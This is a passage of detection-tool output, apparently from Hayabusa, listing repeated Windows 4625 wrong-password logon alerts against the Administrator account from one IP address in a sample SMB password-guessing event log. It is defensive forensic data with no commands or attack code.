NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 29vkwuFa6njYc86s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s9687XPVHFiwttdm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AcNGaeTqTydGinJE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dWRu7ZC1eo1nn0IQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M52CihyrQk9MOfCR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xBKSOZwS6f9ofXu7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uT1LHJs7kyeMmTtd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7FvZhetkdjnZOSpq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0DDC7WfL5T4d01yT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.330 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1dUzuddZH3Stespw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LKpORcDX0ccf1xMq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u4RbbKttCYPld8RR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: joni643cVcuBZH9K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.509 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bqY6TkW782CWKtvK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d8c1I63ULh17l0rN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.594 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cjOtMpWutC9qeSss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gmsFnerFYwXXe4Wt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.718 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rzIZ4vC0E2CYq5mc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.775 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0uZe50jJH0aj9xZi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.835 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LZM5UuxLymuAMJcw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.874 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iF1dq6UfuqpFpGkf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.938 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NQVTj9OLayvEg8dg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.987 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 98F9mULm7DsRUN49 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h6KjEOAdknvIMwOA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UHUu0OKm8fsHTnum : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.140 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esdoSyg6HkaSiJ0z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M4lnVe7qNVEspxFV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Phei86bKte1UCbMi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ehA1LQ2Rs0Wts9JW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.318 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WcXtnkpww8HlSBb3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y8U7FrQZgDvQ09Uq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.430 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UgWwCtz3Gnoq9zYd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.478 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mRNPwCogYrwSGeZf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6O9rWY8UGCbuhSwZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HuH4avUJ4AwqXTGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: japOFEaHgyT3T2fO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXpRMMNJRgjmd4km : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gtTXA6BiiVyv42cj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wfYkwvNOfKj7rlTj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QzAZyceDjfmUOdz6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C0Qais0cF8avXJQ6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7KBM2fIEK6pEl7F2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.972 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N3stckaysFk58QAF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.017 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oVK4S15DDLWISQ7i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.070 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fAA1bFLD5YMohS9q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.105 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k5V3sfIsj4kYtaGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IJw4MBG0cvIz2fMR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.196 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AXJ0UBfKCzLXJ5y0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z3A2mmYGcjHBbX3M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oGlR6pBLnDrzMsqu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gv7nWzZ1HN9mgTya : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dnPUb3w2d7Ltif2E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GCWXdvBeDPpeKhWJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GN3OXSzQqLDF348i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AAWiBhYPNQ0RUuOX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.662 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V5CBG3hblqr8kvWw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MDBaKpfYttm4H1gj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.743 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PNszt6piEznMlTdF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iqmBPOQIG6M1rZjX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BJs7tuZpsPMYJHOD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LUT5oe2DwS5vW84K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3OTe0uiDHhf5GzRL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:17.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 71TuxFRZFyZEQp1S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xRvTmizOLj3UUpD7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LnQEZPWaN2OkpTLa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HnHR9DAtgzu561sx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DfBl3dbluZ7GiFum : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Hlgn7gsZwRvlXAk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eyHVPtGpnmmRjJuO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F0l3QC0rLt9yGaIe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XfEng3JgXLmgI8GN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.334 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ORIegzlkHy8AX6RW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AzS4xRnHKxSwz5sZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.415 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v0hA1XvRIlqwKG6g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:18.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mKXKkvlHvjRh33Vw : IP Address: 192.168.198.149 : AuthPackage: 